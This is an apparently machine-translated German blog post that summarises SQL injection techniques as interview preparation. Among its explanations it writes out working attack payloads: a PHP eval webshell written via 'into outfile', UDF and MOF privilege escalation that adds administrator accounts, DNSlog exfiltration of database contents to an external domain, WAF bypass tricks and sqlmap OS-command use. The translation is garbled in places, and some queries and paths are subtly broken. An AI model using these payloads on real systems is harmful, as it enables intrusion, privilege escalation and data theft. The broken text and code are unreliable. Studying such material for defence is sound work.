Dieser Artikel ist eine Zusammenfassung von SQL-bezogenen Problemen. Die Leser werden gebeten, sich vor dem Lesen dieses Blogs mit SQL-Injection-bezogenen Inhalten vertraut zu machen. Sie erhalten ein tieferes Verständnis, das zur Überprüfung von Web-Sicherheitsprinzipien und sicherheitsbezogenen Vorstellungsgesprächen verwendet werden kann. Es wird empfohlen, dass der Leser zuerst zum Schießstand geht, damit er das Prinzip und die Ausnutzung von Schwachstellen wie Pikachu, DVWA, SQLlib usw. schnell verstehen kann.
Inhaltsverzeichnis
2. Klassifizierung der SQL-Injection
Allgemeine Funktionen zur Fehlerberichterstattung
8. Allgemeine Systemfunktionen
9. SQL-Injection-Punkt im http-Header
10. So erkennen Sie SQL-Injection-Schwachstellen
11. Voraussetzungen und Befehle für MySQL zum Schreiben in die Shell
12. So umgehen Sie WAF durch SQL-Injection
13. Methode zum Ersetzen von Leerzeichen
15. Wie kann ich beim Ermitteln des Injektionspunkts an die Webshell gelangen?
16. Vorbeugende Maßnahmen für SQL-Injection
18. Welche Verschlüsselungsmethode wird für das MYSQL-Passwort verwendet?
19.Gemeinsame Parameter von SQLMap
20. Allgemeine Abfrageanweisungen von SQLmap
22. MySQL hat zwei Möglichkeiten, Berechtigungen zu erweitern
Eskalation der UDF-Berechtigungen
Eskalation der MOF-Berechtigungen
23.DNS-Blindinjektion im Zusammenhang
Der Fall der Verwendung der DNSlog-Injection
Bedingungen für die Verwendung der DNSlog-Blindinjektion
So funktioniert DNSlog Blind Injection
1. Was ist SQL-Injection?
Bedeutung
Da der Programmierer die Rechtmäßigkeit der vom Benutzer eingegebenen Daten nicht beurteilt und verarbeitet, kann der Client böswillige Eingaben an den Server übermitteln, was dazu führt, dass der Server fehlerhafte SQL-Anweisungen generiert und dadurch die Website-Datenbank illegal liest, anstatt der Absicht des Designers zu folgen . SQL-Anweisungen ausführen.
Prinzip
Das Backend der Website filtert die vom Frontend eingehenden Daten nicht richtig, was es dem Angreifer ermöglicht, fehlerhafte Eingaben zu erstellen, wodurch die Semantik der ursprünglichen Abfrageanweisung geändert wird und schließlich illegale Anweisungen ausgeführt, illegale Parameter übergeben, zusätzliche Bedingungen hinzugefügt werden usw .
Schaden
Es gibt hauptsächlich folgende Punkte:
Umgehen der Anmeldeüberprüfung : Angreifer können ein Master-Passwort verwenden, um sich direkt im Hintergrund der Website anzumelden.
Verlust vertraulicher Informationen : Angreifer können die Datenbank einsehen und vertrauliche Informationen wie Passwörter für Administratorkonten erhalten.
Auf der Website implantiertes Trojanisches Pferd : Der Server kann auf eine Webshell hochgeladen werden, um Befehle aus der Ferne auszuführen und eine Hintertür zu erstellen.
Die Datenbank wurde manipuliert : Der Angreifer kann ein Administratorkonto hinzufügen und Daten hinzufügen oder löschen.
2. Klassifizierung der SQL-Injection
Klassifizierung anhand der Injektionsparameter : digitale Injektion, Zeicheninjektion, Suchinjektion.
Klassifizierung nach Injektionsmethoden : fehlerbasierte, boolesche Blindinjektion, zeitbasierte Blindinjektion, gemeinsame Abfrage, Stapelinjektion, Inline-Abfrageinjektion, Wide-Byte-Injektion usw.
Klassifizierung anhand der Position des Injektionspunkts : GET-Injektion, POST-Injektion, Cookie-Injektion, http-Header-Injektion usw.
Aus der Datenbank klassifiziert : MySQL-Injektion, MSSQL-Injektion, Oracle-Injektion usw.
3. Fehlerbasierte Injektion
Definition
Der Angreifer erstellt eine Nutzlast mit falscher SQL-Syntax. Nach der Injektion ist die Anweisung zwar falsch, die böswillige Abfrageanweisung in der Nutzlast wurde jedoch von der Datenbank ausgeführt , und die Informationen werden nach der endgültigen Ausführung durch einen Fehler an das Front-End zurückgegeben Aufforderung .
Zustand
1. Der Hintergrund blockiert nicht die Fehlermeldung der Datenbank.
2. Lassen Sie den Syntaxfehler im Frontend widerhallen.
Allgemeine Funktionen zur Fehlerberichterstattung
updatexml(XML_document, XPath_string, new_value)
Der erste Parameter XML_document liegt im String-Format vor und ist der Name des XML-Dokumentobjekts
Der zweite Parameter XPath_string ist ein String im XPath-Format
Der dritte Parameter new_value im String-Format ersetzt die gefundenen qualifizierten Daten
Beispiel: id=1 und (select updatexml(0x3a,concat(1,(select user())),1))
Ausführungsergebnis: [Err] 1105 – XPATH-Syntaxfehler: „root@localhost“
extractvalue(XML_document, XPath_string)
Der erste Parameter XML_document liegt im String-Format vor und ist der Name des XML-Dokumentobjekts
Der zweite Parameter XPath_string ist ein String im XPath-Format
Beispiel: id=1 und (select extractvalue(0x3a, concat(0x5c,(select user()))))
Ausführungsergebnis: [Err] 1105 – XPATH-Syntaxfehler: „\root@localhost“
Die Funktion floor() ist eine Funktion zum Runden in MYSQL.
Der Fehler wird gemeldet, weil die Funktion rand() einmal beim Abfragen und einmal beim Einfügen ausgeführt wird.
Durch die Gruppe nach ) Führen Sie es erneut aus.
Beispiel: id=1 und (select 1 from (select count(*),concat((select user()),
floor(rand(0)*2))x aus information_schema.tables Gruppe nach x)a)Laufergebnis: [Err] 1062 – Doppelter Eintrag „root@localhost1“ für Schlüssel „group_key“exp() gibt die Potenz des natürlichen Logarithmus zurück
Wenn der darin enthaltene Parameter größer als 709 ist, tritt ein Überlauffehler auf
Beispiel: id=1 und (select exp(~(select * from(select user())a)))
Laufergebnis: [Err] 1690 – DOUBLE-Wert liegt außerhalb des gültigen Bereichs in „exp(~((select „root@localhost“
von dual)))'
4. Stapelinjektion
Definition : In der SQL-Anweisung endet die Anweisung mit einem Semikolon. Wenn nach dem Semikolon eine SQL-Anweisung hinzugefügt wird, werden die beiden Anweisungen zusammen ausgeführt, was zu einer Stapelinjektion führen kann.
5. Blindnote
Definition
Während des SQL-Injection-Angriffs schaltet der Server das Fehlerecho aus und der Angreifer beurteilt einfach anhand der Änderung des vom Server zurückgegebenen Inhalts, ob die Injektion erfolgreich ist. Die Injektion erfolgt in der Regel mit Werkzeugen (manuelle Injektion ist zeitaufwändig und mühsam).
Einstufung
Boolesche Blindinjektion : Ob der zurückgegebene Inhalt der Seite korrekt ist.
Zeitbasierte Blindinjektion : Die von der Seite zurückgegebene Zeit, normalerweise unter Verwendung der Verzögerungsfunktion Sleep (Sekunden) oder Benchmark (Ausführungszeiten, Ausdruck), um die Echozeit zu verlängern, wenn die Injektion erfolgreich ist.
Beispiel: if(ascii(substring((select user from admin limit 0, 1),1,1))=64,sleep(3),null)
Wenn der ASCII-Codewert der ersten Ziffer des Abfrageergebnisses 64 ist, schlafen Sie (3), andernfalls wird nichts unternommen.
6. Was soll ich tun, wenn die Schlüsselwörter Schlaf und Benchmark während der zeitblinden Injektion herausgefiltert werden?
(1) Lassen Sie zwei sehr große Datentabellen ein kartesisches Produkt erstellen, um viele Berechnungen zu generieren, was zu einer Zeitverzögerung führt
(2) Wenn der Server eine lange Verbindung verwendet, können Sie den Sperrmechanismus von MySQL verwenden, nämlich Get_lock()
(3) Verwenden Sie komplexe reguläre Ausdrücke, um eine ultralange Zeichenfolge abzugleichen und eine Zeitverzögerung zu erzeugen
7. Wide-Byte-Injektion
Prinzip
Der breite Zeichensatz wird in der Datenbank verwendet, dieses Problem wird jedoch im WEB nicht berücksichtigt .
Da 0XBF27 in der WEB-Ebene aus zwei Zeichen besteht, werden bei Aktivierung von addslash und magic_quotes_gpc in PHP die einfachen Anführungszeichen von 0x27 maskiert, sodass 0xbf27 zu 0xbf5c27 wird. Wenn die Daten in die Datenbank eingegeben werden, handelt es sich aufgrund von 0bf5c um ein zusätzliches Zeichen Zeichen, sodass das Escape-Symbol \ vom vorherigen bf „gefressen“ wird und das daraus maskierte einfache Anführungszeichen zum Schließen der Anweisung verwendet werden kann
Grundursache: Character_set_client (der Zeichensatz des Clients) und Character_set_connection (der Zeichensatz der Verbindungsschicht) sind unterschiedlich oder Konvertierungsfunktionen wie iconv und mb_convert_encoding werden falsch verwendet.
Lösung
Vereinheitlichen Sie die von Datenbanken, Webanwendungen und Betriebssystemen verwendeten Zeichensätze, um Unterschiede beim Parsen zu vermeiden. Am besten stellen Sie sie auf UTF-8 ein. Oder verwenden Sie mysql_real_escape_string+mysql_set_charset, um die Daten korrekt zu maskieren.
8. Allgemeine Systemfunktionen
version(): MYSQL-Version
user(): Datenbankbenutzername
Datenbank(): Datenbankname
@@datadir: Datenbankpfad
@@version_compile_os: Betriebssystemversion
@@basedir: Datenbankinstallationspfad
9. SQL-Injection-Punkt im http-Header
User-Agent
Referrer
Plätzchen
IP
10. So erkennen Sie SQL-Injection-Schwachstellen
Manuell : Testen Sie eine bestimmte URL manuell und beurteilen Sie, indem Sie Sonderzeichen (‘’’)’’) usw. einfügen.
Automatisch : Werkzeuge zur Injektion verwenden
11. Voraussetzungen und Befehle für MySQL zum Schreiben in die Shell
Prämisse
Voraussetzung: Der aktuelle Datenbankbenutzer (current_user) hat die Berechtigung zum Schreiben von Dateien oder Root-Rechte und kennt den absoluten Pfad der Website.
Verwandte Befehle
in oufile schreibt mehrere Zeilen, geeignet für Textdateien
in dumpfile schreibt eine Zeile, geeignet für Binärdateien
Beispiel:
id=1 union select '<?php @eval($_POST[\'c\']);?>', user from admin into outfile 'd:\\demo\\m.php'
id=1 union select '<?php @eval($_POST[\'c\']);?>', user from admin into dumpfile 'd:\\demo\\m.php'
12. So umgehen Sie WAF durch SQL-Injection
(1) Suchen Sie den WAF-Fingerabdruck und suchen Sie nach der entsprechenden WAF-Bypass-Methode
(2) White-Box-Bypass: Code-Audit.
(3) Black-Box-Bypass
Black-Box-Bypass: wie folgt
Architekturebene : Suchen Sie die Quellwebsite, um die WAF-Erkennung zu umgehen, dh finden Sie die tatsächliche Adresse der Quellwebsite. Oder umgehen Sie den WAF-Schutz über dasselbe Netzwerksegment. Im selben Netzwerksegment werden die Daten, die möglicherweise durchgelassen werden, nicht durch die Cloud-WAF geleitet, um eine Umgehung zu erreichen.
Ressourcenbeschränkungsstufe : Die Erstellung eines sehr großen Datenpakets wird möglicherweise nicht erkannt, wodurch WAF umgangen wird. Beispielsweise führen einige Websites eine WAF-Erkennung bei Get-Daten durch. Die Get-Daten sind klein und Post-Daten werden von WAF nicht erkannt. WAF umgehen.
Protokollebene : In einigen Unternehmen wird möglicherweise nur der Get-Typ erkannt und die Post-Daten werden möglicherweise ignoriert. Oder manchmal liegt eine Parameterverunreinigung vor. Für index?id=1&id=2 in der URL wird möglicherweise nur id=1 erkannt.
Regelebene : SQL-Kommentarumgehung/Leerzeichenumgehung/Funktionstrennzeichenumgehung/Gleitkommazahlumgehung/Verwendung von Fehlerinjektion/Fallumgehung/Doppelschreibumgehung
13. Methode zum Ersetzen von Leerzeichen
%0a , %0b , %a0 usw.
/**/ und andere Kommentare
<>
14. So verwenden Sie nicht ausgewählte Abfrageanweisungen (Einfügen/Aktualisieren und andere Injektionsmethoden)
Tatsächlich gibt es keinen wesentlichen Unterschied: Die Struktur ist weiterhin geschlossen und es können gemeinsame Abfrage- und fehlerbasierte Methoden verwendet werden. , hier ein paar Beispiele.
Die ursprüngliche normale SQL-Anweisung (die ursprüngliche Anweisung im Backend)
update user set password='MD5($password)', homepage='$homepage' where id='$id';
Wir können die Injektion auf die folgenden drei Arten implementieren:
Methode 1: Ändern Sie den Homepage-Wert in http://baidu.net', userlevel='3 , dann wird die SQL-Anweisung zu:
update user set password='mypass', homepage='http://baidu.net', userlevel='3' where id='$id';
Methode 2: Ändern Sie den Passwortwert in „mypass“)' WHERE username='admin'# Die SQL-Anweisung wird zu:
update user set password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' where id='$id';
Methode 3: Ändern Sie den ID-Wert in „OR username=“admin , dann wird die SQL-Anweisung zu:
update user set password='MD5($password)', homepage='$homepage' where id='' OR username='admin';
15. Wie kann ich beim Ermitteln des Injektionspunkts an die Webshell gelangen?
(1) Wenn Sie über Schreibberechtigungen verfügen, verwenden Sie into outfile, um eine gemeinsame Abfrageanweisung zu erstellen. Sie können die Ausgabe der Abfrage in eine Datei im System umleiten, damit Sie sie in die Webshell schreiben können
(2) Das Prinzip der Verwendung von sqlmap –os-shell ist das gleiche wie oben, um direkt eine Shell zu erhalten, was effizienter ist
(3) Erhalten Sie das Konto und das Kennwort des Website-Administrators, indem Sie eine gemeinsame Abfrageanweisung erstellen, scannen Sie dann den Hintergrund, um sich im Hintergrund anzumelden, und laden Sie dann die Shell im Hintergrund hoch, indem Sie den Paket-Upload und andere Methoden ändern
16. Vorbeugende Maßnahmen für SQL-Injection
(1) Unterscheiden Sie strikt zwischen normalen Benutzern und Administratoren : Übernehmen Sie das Prinzip der geringsten Rechte und verwenden Sie Konten mit niedrigen Rechten für Webanwendungen. Verwenden Sie ein Konto mit hohen Rechten, sogar das Root-Konto. Für Endbenutzer, also normale Benutzer der Software, ist es nicht erforderlich, ihnen die Berechtigung zum Erstellen und Löschen von Datenbankobjekten (Tabelle erstellen/Tabelle löschen usw.) zu erteilen.
(2) Benutzereingaben streng filtern : Testen Sie den vom Benutzer eingegebenen Inhalt, akzeptieren Sie nur den erforderlichen Wert, lehnen Sie den Eingabeinhalt mit Binärdaten, Escape-Sequenzen und Kommentarzeichen ab und überprüfen Sie den Inhalt mit SQL-Schlüsselwörtern wie Union und Select streng. Testen Sie die Größe und den Datentyp der Benutzereingaben und setzen Sie entsprechende Grenzwerte und Konvertierungen durch. Verwenden Sie die von Websprachen und Datenbankanbietern bereitgestellten „sicheren Funktionen“, um Benutzereingaben zu verarbeiten.
(3) Verwendung vorkompilierter Anweisungen : Die Verwendung vorkompilierter Anweisungen und Bindungsvariablen ist die beste Möglichkeit, SQL-Injection zu verhindern. Stellen Sie sicher, dass sich die Semantik nicht ändert und verhindern Sie, dass Daten zu Anweisungen werden (parametrisierte Abfragen).
(4) Filtern und Abgleichen basierend auf Angriffsmerkmalen : Erfassen Sie die Angriffsmerkmale der SQL-Injection als Datenbank. Sobald diese Merkmale übereinstimmen, wird festgestellt, dass eine SQL-Injection erkannt wurde. Schutz auf Netzwerkebene, Bereitstellung von WAF usw.
17. Was sind die Unterschiede zwischen den Versionen über 5.0 und niedriger für die Injektion von MYSQL-Websites?
Unterschied: Die Systemtabelle „information_schema“ existiert ab Version 5.0 und der Tabellenname, Spaltenname usw. kann anhand dieser Tabelle nachgeschlagen werden. 5.0 und höher sind Mehrbenutzeroperationen. Unter 5.0 gibt es kein Informationsschema, und nur der Tabellenname kann gewaltsam ausgeführt werden. 5.0 und niedriger sind Einzelbenutzeroperationen.
Wie überprüfe ich Datenbank/Tabelle/Spalte/Feld gemäß information_schema?
Bibliothek prüfen:
select schema_name from information_schema.schema;
Prüftabelle:
select table_name from information_schema.tables where table_schema='security';
Charlie:
select column_name from information_schema.columns where table_name='users';show tables;
Prüffelder:
select id,username,password from security.users;
18. Welche Verschlüsselungsmethode wird für das MYSQL-Passwort verwendet?
Antwort: SHA1 Secure Hash-Algorithmus
19.Gemeinsame Parameter von SQLMap
-d stellt eine direkte Verbindung zur Zieldatenbank her (verwendet keine SQL-Injection)
-p gibt den Injektionspunkt an
-u angegebene URL
-m gibt TXT-Datei, Batch-Scan an
-r POST-Paketinjektion
-x Sitemap, senden Sie eine XML-Datei an SQL.
-c Schreiben Sie die verwendeten Befehle in eine Datei, lassen Sie sqlmap die Befehle in der Datei ausführen, wir können den Befehl --save verwenden, um die Konfiguration in die Datei zu schreiben.
--sql-shell SQL-Befehle ausführen
--OS-cmd Systembefehle ausführen
--OS-shell Interagiert mit der System-Shell
-r lädt das Paket für externe Anfragen
--data=DATA Datenstring per POST senden
--proxy=PROXY verwendet einen HTTP-Proxy, um eine Verknüpfung zur Ziel-URL herzustellen
--tamper=TAMPER manipuliert injizierte Daten mit dem angegebenen Skript
--current-user erhält den aktuellen Benutzernamen
--current-db ruft den aktuellen Datenbanknamen ab
--cookie setzt den Cookie-Wert
--dbs listet alle Datenbanken auf
--tables listet die Tabellen in der Datenbank auf
–level=LEVEL Führt die Stufe des Tests aus (1-5, der Standardwert ist 1). Wenn der Parameter –level verwendet wird und der Wert >=2 ist, werden auch die Parameter im Cookie überprüft. Bei >=3, Der User-Agent und Referrer werden überprüft.
-risk=RISK Das Risiko der Testausführung (0-3, der Standardwert ist 1), der Standardwert 1 testet die meisten Testanweisungen, 2 erhöht die Testanweisung basierend auf dem Ereignis und 3 erhöht die SQL-Injection Test der OR-Anweisung.
-v VERBOSE Informationsebene: 0-6 (Standard 1), die spezifische Bedeutung seines Werts: „0“ zeigt nur Python-Fehler und schwerwiegende Informationen an; 1 zeigt gleichzeitig grundlegende Informationen und Warninformationen an (Standard); „2“ zeigt gleichzeitig Debug-Informationen an; „3“ zeigt auch die injizierte Nutzlast; „4“ zeigt gleichzeitig die HTTP-Anfrage; „5“ zeigt gleichzeitig den HTTP-Antwortheader; „6“ zeigt die HTTP-Antwortseite gleichzeitig; wenn Sie die beste Ebene der von sqlmap gesendeten Testnutzlast sehen möchten, ist das 3.
20. Allgemeine Abfrageanweisungen von SQLmap
Single-Link-Injection sqlmap.py -u URL
Batch-Injektion sqlmap.py -m oldboy.txt
Post-Injection sqlmap.py -r burpsuite capture.txt
Geben Sie Parameter an, um sqlmap.py -r post.txt -p Parameter einzufügen
Formularinjektion angeben sqlmap.py -u URL –data „username=a&password=a“
Cookie-Injektion sqlmap.py -u url --cookie "id=xx" --level 3 --tables (Tabellennamen erraten)
Führen Sie den Net-User-Befehl sqlmap.py -u "url" --os-cmd="net user" aus.
21. Gemeinsame Datenbankports
Relational
MySQL 3306
Orakel 1521
SQL Server 1433
DB2 5000
PostgreSQL 5432
nicht relational
Redis 6379
Gespeichert 11211
MongoDB 27017
22. MySQL hat zwei Möglichkeiten, Berechtigungen zu erweitern
Ich verstehe diese Frage nicht ganz, ich habe sie online gesucht und hier gepostet, und ich werde sie umschreiben, wenn ich sie später herausgefunden habe.
Eskalation der UDF-Berechtigungen
Erfordern:
1. Das Zielsystem ist Windows (Win2000, XP, Win2003);
2. Besitzen Sie ein MYSQL-Benutzerkonto. Dieses Konto muss über Einfüge- und Löschberechtigungen für MySQL verfügen, um Funktionen erstellen und verwerfen zu können
3. Haben Sie ein Root-Konto-Passwort.
Methode
UDF exportieren:
Für Versionen über MYSQL 5.1 müssen Sie die Datei udf.dll im Ordner lib\plugin im MYSQL-Installationsverzeichnis ablegen, um benutzerdefinierte Funktionen zu erstellen.
Kann in MySQL eingegeben werden
Wählen Sie @@basedir
Zeigen Sie Variablen wie „%plugins%“ an, um den MySQL-Installationspfad zu finden
Eskalation der Rechte:
Erstellen Sie funktionale Funktionen mithilfe von SQL-Anweisungen.
Syntax: Funktion erstellen Funktionsname (der Funktionsname kann nur einer der folgenden Listen sein) gibt die Zeichenfolge soname „exportierter DLL-Pfad“ zurück;
Die Funktion cmdshell erstellen gibt die Zeichenfolge soname „udf.dll“ zurück.
select cmdshell('net user arsch arsch /add');
select cmdshell('net localgroup Administrators arsch /add');
Drop-Funktion cmdshell;
Dieses Verzeichnis ist standardmäßig nicht vorhanden. Sie müssen daher Webshell verwenden, um das MySQL-Installationsverzeichnis zu finden, einen Ordner lib\plugin unter dem Installationsverzeichnis erstellen und dann die Datei udf.dll in dieses Verzeichnis exportieren.
Eskalation der MOF-Berechtigungen
Schritt 1: Drehbuchvorbereitung
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
Schritt 2:
Führen Sie „load_file“ und „in dumpfile“ aus, um die Datei an den richtigen Speicherort zu exportieren.
select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov';
Nachdem die Ausführung erfolgreich war, können Sie einen normalen Benutzer hinzufügen, dann den Befehl ändern und dann die Ausführung hochladen und exportieren, um den Benutzer auf Administratorrechte zu aktualisieren, und dann ist die 3389-Verbindung in Ordnung.
23.DNS-Blindinjektion im Zusammenhang
Prinzip von DNSlog
Fügen Sie den Inhalt über eine Unterabfrage in den Domänennamen ein und lassen Sie load_file () auf die gemeinsam genutzte Datei zugreifen. Der aufgerufene Domänenname wird aufgezeichnet und zu diesem Zeitpunkt zu einer Fehlerinjektion, und die Blindinjektion wird in eine Fehlerinjektion und die Remote-Injektion geändert Die freigegebene Datei wird gelesen. Die Funktion führt eine Abfrage durch, verbindet sie mit dem Domänennamen, greift beim Zugriff auf den Server zu und zeigt das Protokoll nach der Aufzeichnung an.
DNSlog-Tool
- Wenn Sie über einen eigenen Server und Domänennamen verfügen und Ihre eigene DNSlog-Plattform erstellen, gibt es Open-Source-Plattformen auf Github
- Online-Plattform: http://ceye.io DNSLog-Plattform
Der Fall der Verwendung der DNSlog-Injection
Die Zielinformationen können nicht zurückgegeben werden. Wenn Sie die Anfrage senden können, können Sie es versuchen und DNSlog verwenden, um das Echo abzurufen
Beispiel: Ich habe eine Site mit SQL-Blind-Injection gefunden, aber die Ausführung mit sqlmap erforderte häufige Anfragen, was schließlich dazu führte, dass die IP gesperrt wurde
Wenn eine vermutete Befehlsinjektionslücke gefunden wird, auf der Zielseite jedoch nichts angezeigt wird, können Sie eine DNSlog-Blindinjektion versuchen, wenn Sie nicht bestätigen können, ob eine Lücke vorhanden ist. Die folgenden allgemeinen Dinge können mit der DNSlog-Injektion versucht werden:
(1) Blindinjektion in SQL-Injection
(2) XSS-Blindeingabe
(3) Befehlsausführung ohne Echo
(4) SSRF ohne Echo
(5) XXE ohne Echo (Blind XXE)
Bedingungen für die Verwendung der DNSlog-Blindinjektion
secure_file_priv in mysql.ini ist leer.
secure_file_priv ist null, Import und Export sind nicht zulässig
secure_file_priv ist /tmp, Import und Export können nur im tmp-Verzeichnis erfolgen
Wenn secure_file_priv leer ist, sind Import und Export nicht eingeschränkt.
So funktioniert DNSlog Blind Injection
Fragen Sie die aktuelle Datenbank ab:
?id=1'and load_file(concat('\\\\',(select Database()),'.域名'))--+
Dementsprechend kann durch Ersetzen der Anweisung select Database () die Echoinjektion des externen DNS-Bands realisiert werden
?id=1'and (select Load_file(concat('\\\\',(select Datenbank()),'.域名')))#
Epilog
Damit sind die Fragen zu SQL-Injection-Schwachstellen abgeschlossen. Die Antworten auf viele Fragen in diesem Artikel stammen ebenfalls aus dem Internet. Ich habe eine Zusammenfassung erstellt. Die Zeit drängt. Wenn Sie Fragen haben, können die Leser diese gerne im Kommentarbereich diskutieren.